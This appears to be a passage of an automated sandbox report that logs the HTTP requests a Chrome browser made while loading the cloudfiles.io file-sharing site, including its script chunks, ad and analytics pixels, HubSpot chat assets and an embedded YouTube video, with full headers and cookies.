_gid=GA1.2.405113668.1663946093; _gat_gtag_UA_188936264_1=1; _gcl_au=1.1.1471331947.1663946094
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/5ca00d41-f80dcc02233c86a3.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_HB9Z4JLXX4=GS1.1.1663946091.1.1.1663946091.60.0.0; ph_phc_T3PTF5hBP3diRM81BaUw8mdzvKytDNdmz6aF4HXbGz2_posthog=%7B%22distinct_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24device_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%2C%22%24session_recording_enabled%22%3Afalse%2C%22%24active_feature_flags%22%3A%5B%5D%2C%22%24enabled_feature_flags%22%3A%7B%7D%7D; _fbp=fb.1.1663946093092.1064301508; _ga=GA1.2.604035153.1663946092; _gid=GA1.2.405113668.1663946093; _gat_gtag_UA_188936264_1=1; _gcl_au=1.1.1471331947.1663946094
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/197-c096a3bf80407be8.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_HB9Z4JLXX4=GS1.1.1663946091.1.1.1663946091.60.0.0; ph_phc_T3PTF5hBP3diRM81BaUw8mdzvKytDNdmz6aF4HXbGz2_posthog=%7B%22distinct_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24device_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%2C%22%24session_recording_enabled%22%3Afalse%2C%22%24active_feature_flags%22%3A%5B%5D%2C%22%24enabled_feature_flags%22%3A%7B%7D%7D; _fbp=fb.1.1663946093092.1064301508; _ga=GA1.2.604035153.1663946092; _gid=GA1.2.405113668.1663946093; _gat_gtag_UA_188936264_1=1; _gcl_au=1.1.1471331947.1663946094
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/423-c466c32b0761d1c5.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_HB9Z4JLXX4=GS1.1.1663946091.1.1.1663946091.60.0.0; ph_phc_T3PTF5hBP3diRM81BaUw8mdzvKytDNdmz6aF4HXbGz2_posthog=%7B%22distinct_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24device_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%2C%22%24session_recording_enabled%22%3Afalse%2C%22%24active_feature_flags%22%3A%5B%5D%2C%22%24enabled_feature_flags%22%3A%7B%7D%7D; _fbp=fb.1.1663946093092.1064301508; _ga=GA1.2.604035153.1663946092; _gid=GA1.2.405113668.1663946093; _gat_gtag_UA_188936264_1=1; _gcl_au=1.1.1471331947.1663946094
Source: global traffic	HTTP traffic detected: GET /tr/?id=749116996109032&ev=Microdata&dl=https%3A%2F%2Fcloudfiles.io%2F&rl=&if=false&ts=1663946095810&cd[DataLayer]=%5B%5D&cd[Meta]=%7B%22title%22%3A%22File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles%22%2C%22meta%3Adescription%22%3A%22CloudFiles%20is%20a%20modern%20file%20sharing%20platform%20for%20businesses%20designed%20to%20reduce%20mundane%20tasks.%20Sign%20up%20and%20put%20your%20energy%20to%20things%20that%20matter.%22%7D&cd[OpenGraph]=%7B%7D&cd[Schema.org]=%5B%5D&cd[JSON-LD]=%5B%5D&sw=1280&sh=1024&v=2.9.83&r=stable&ec=1&o=30&fbp=fb.1.1663946093092.1064301508&it=1663946090710&coo=false&es=automatic&tm=3&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /conversations-visitor-ui/static-1.13132/i18n-data-data-locales-en-us.js HTTP/1.1Host: static.hsappstatic.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"Origin: https://app.hubspot.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://app.hubspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/%5Bslug%5D-987d9e7f5dfae2bd.js HTTP/1.1Host: cloudfiles.ioConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_HB9Z4JLXX4=GS1.1.1663946091.1.1.1663946091.60.0.0; ph_phc_T3PTF5hBP3diRM81BaUw8mdzvKytDNdmz6aF4HXbGz2_posthog=%7B%22distinct_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24device_id%22%3A%221836aea56e9200-0c663330652bb5-26021d51-140000-1836aea56ea126%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%2C%22%24session_recording_enabled%22%3Afalse%2C%22%24active_feature_flags%22%3A%5B%5D%2C%22%24enabled_feature_flags%22%3A%7B%7D%7D; _fbp=fb.1.1663946093092.1064301508; _ga=GA1.2.604035153.1663946092; _gid=GA1.2.405113668.1663946093; _gat_gtag_UA_188936264_1=1; _gcl_au=1.1.1471331947.1663946094
Source: global traffic	HTTP traffic detected: GET /instream/ad_status.js HTTP/1.1Host: static.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkzjscYZ52NAY8n0cT95jijV6W0yuM6NwF8WWQoBrDcA-yxPPCjwWHtVTdU
Source: global traffic	HTTP traffic detected: GET /pagead/id HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.youtube.comX-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkzjscYZ52NAY8n0cT95jijV6W0yuM6NwF8WWQoBrDcA-yxPPCjwWHtVTdU
Source: global traffic	HTTP traffic detected: GET /js/th/A6NiJ4FpWdYb46YkL14Gb7YSsd_Y0OEDYbyMmxwlYE4.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=nUT82hOv6CVwMNqDg-sTtCMJJ6SQ1v_cCpfCpf5nt8EolEbal01GWFyjG01tqWQgh9ciRU880J6nLd2gdbhAJs44PsHAZaVQAFIbrqe2FmFgjrAAK7W9Z8u5LDvwsuZRng98jP6E23SJ4fsPIs326YmnuCwa92dRRCcB6MNeI_o
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j97&tid=UA-188936264-1&cid=604035153.1663946092&jid=1865915276&_u=YADAAUAAAAAAAC~&z=1702222027 HTTP/1.1Host: www.google.co.ukConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/1rkTwk6PKdY/sddefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/10790155329/?random=1663946097413&cv=9&fst=1663946097413&num=1&bg=ffffff&guid=ON&resp=GooglemKTybQhCsO&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&ig=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&auid=1471331947.1663946094&hn=www.googleadservices.com&async=1&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmb4mZiaecYrlYE5v2SQK8Mo0O9wRRPxFD7O9khuIVKtStu9A7CrL_ZTafo
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/10783125194/?random=1663946097443&cv=9&fst=1663946097443&num=1&bg=ffffff&guid=ON&resp=GooglemKTybQhCsO&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&ig=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&auid=1471331947.1663946094&hn=www.googleadservices.com&async=1&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmb4mZiaecYrlYE5v2SQK8Mo0O9wRRPxFD7O9khuIVKtStu9A7CrL_ZTafo
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/10790228306/?random=1663946097450&cv=9&fst=1663946097450&num=1&bg=ffffff&guid=ON&resp=GooglemKTybQhCsO&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&ig=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&auid=1471331947.1663946094&hn=www.googleadservices.com&async=1&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmb4mZiaecYrlYE5v2SQK8Mo0O9wRRPxFD7O9khuIVKtStu9A7CrL_ZTafo
Source: global traffic	HTTP traffic detected: GET /s/player/abfb84fe/player_ias.vflset/en_US/embed.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=0Gkdp1KDrT4; VISITOR_INFO1_LIVE=SNPwgvJ8Kh8
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/10790155329/?random=1663946097413&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=346257282&resp=GooglemKTybQhCsO&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=nUT82hOv6CVwMNqDg-sTtCMJJ6SQ1v_cCpfCpf5nt8EolEbal01GWFyjG01tqWQgh9ciRU880J6nLd2gdbhAJs44PsHAZaVQAFIbrqe2FmFgjrAAK7W9Z8u5LDvwsuZRng98jP6E23SJ4fsPIs326YmnuCwa92dRRCcB6MNeI_o
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/10790155329/?random=1663946097413&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=346257282&resp=GooglemKTybQhCsO&rmt_tld=1&ipr=y HTTP/1.1Host: www.google.co.ukConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /generate_204?uf-mSA HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=0Gkdp1KDrT4; VISITOR_INFO1_LIVE=SNPwgvJ8Kh8
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/10790228306/?random=1663946097450&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=1233451760&resp=GooglemKTybQhCsO&rmt_tld=1&ipr=y HTTP/1.1Host: www.google.co.ukConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/10790228306/?random=1663946097450&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=1233451760&resp=GooglemKTybQhCsO&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=nUT82hOv6CVwMNqDg-sTtCMJJ6SQ1v_cCpfCpf5nt8EolEbal01GWFyjG01tqWQgh9ciRU880J6nLd2gdbhAJs44PsHAZaVQAFIbrqe2FmFgjrAAK7W9Z8u5LDvwsuZRng98jP6E23SJ4fsPIs326YmnuCwa92dRRCcB6MNeI_o
Source: global traffic	HTTP traffic detected: GET /ytc/AMLnZu-FWsVbF8aAR_gls7ecgPiqYZt6-nIMTeclblUc=s68-c-k-c0x00ffffff-no-rj HTTP/1.1Host: yt3.ggpht.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/10783125194/?random=1663946097443&cv=9&fst=1663945200000&num=1&bg=ffffff&guid=ON&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_his=1&u_tz=-420&u_java=false&u_nplug=0&u_nmime=0&gtm=2oa9l0&sendb=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fcloudfiles.io%2F&tiba=File%20Sharing%20Platform%20%7C%20Share%20Documents%20Online%20%7C%20CloudFiles&async=1&fmt=3&is_vtc=1&random=1027656747&resp=GooglemKTybQhCsO&rmt_tld=1&ipr=y HTTP/1.1Host: www.google.co.ukConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI22yQEIpbbJAQjBtskBCKmdygEIlqHLAQj8qswBCLy8zAEIj73MAQiywcwBCMTBzAEI18HMAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudfiles.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
